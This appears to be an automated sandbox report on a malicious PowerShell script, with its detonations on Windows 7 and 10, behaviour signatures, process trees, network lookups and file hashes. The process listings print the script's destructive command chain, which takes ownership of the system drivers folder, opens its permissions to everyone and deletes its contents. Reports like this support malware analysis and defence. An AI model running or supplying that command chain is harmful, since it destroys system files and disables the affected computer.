Analysis Overview
SHA256
cc378cee3365c7a74a92c524e37ba3abfa2638b0365a20fcfe78d77a7a172731
Threat Level: Likely malicious
The file script.ps1 was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Modifies file permissions
Command and Scripting Interpreter: PowerShell
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-13 20:53
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-13 20:53
Reported
2024-08-13 20:55
Platform
win7-20240704-en
Max time kernel
121s
Max time network
123s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps1
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\drivers\* >nul && icacls C:\Windows\System32\drivers\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\drivers\* >nul 2>&1 && powershell"
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\drivers\*
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\drivers\* /grant everyone:(f)
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell
C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /F /T
Network
Files
memory/2864-4-0x000007FEF587E000-0x000007FEF587F000-memory.dmp
memory/2864-5-0x000000001B710000-0x000000001B9F2000-memory.dmp
memory/2864-7-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp
memory/2864-6-0x0000000002870000-0x0000000002878000-memory.dmp
memory/2864-8-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp
memory/2864-9-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp
memory/2864-10-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | 3462f782ab8c74b75711d783319ada24 |
| SHA1 | 65622f214bef2cec0dcdec8bf1026899be381eba |
| SHA256 | 76ac902daddda6f5d95432723720c94b455f8fb43aa7eee0f7bc62e01a1e15d3 |
| SHA512 | c483db648918e7b19a83fc2a2d34765b23ac0eaa6a8b0cef1573c3cafaf7b0702652df5401a2a5b6c29679478a48f952353f0a3467dc55ef86f34affe8e257fa |
memory/2864-16-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-13 20:53
Reported
2024-08-13 20:55
Platform
win10v2004-20240802-en
Max time kernel
143s
Max time network
145s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 828 wrote to memory of 4072 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\cmd.exe |
| PID 828 wrote to memory of 4072 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\cmd.exe |
| PID 4072 wrote to memory of 3860 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 4072 wrote to memory of 3860 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 4072 wrote to memory of 1496 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\icacls.exe |
| PID 4072 wrote to memory of 1496 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\icacls.exe |
| PID 4072 wrote to memory of 4132 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4072 wrote to memory of 4132 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps1
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\drivers\* >nul && icacls C:\Windows\System32\drivers\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\drivers\* >nul 2>&1 && powershell"
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\drivers\*
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\drivers\* /grant everyone:(f)
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 71.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.236.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 57.169.31.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.28.171.150.in-addr.arpa | udp |
Files
memory/828-0-0x00007FFE45553000-0x00007FFE45555000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_chr0deuf.wuc.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/828-1-0x000002718E230000-0x000002718E252000-memory.dmp
memory/828-11-0x00007FFE45550000-0x00007FFE46011000-memory.dmp
memory/828-12-0x00007FFE45550000-0x00007FFE46011000-memory.dmp
memory/4132-22-0x00007FFE45550000-0x00007FFE46011000-memory.dmp
memory/4132-23-0x00007FFE45550000-0x00007FFE46011000-memory.dmp
memory/4132-24-0x000001319B220000-0x000001319B264000-memory.dmp
memory/4132-25-0x00007FFE45550000-0x00007FFE46011000-memory.dmp
memory/4132-26-0x000001319B2F0000-0x000001319B366000-memory.dmp
memory/828-28-0x00007FFE45550000-0x00007FFE46011000-memory.dmp
memory/828-29-0x00007FFE45550000-0x00007FFE46011000-memory.dmp
memory/4132-30-0x00007FFE45550000-0x00007FFE46011000-memory.dmp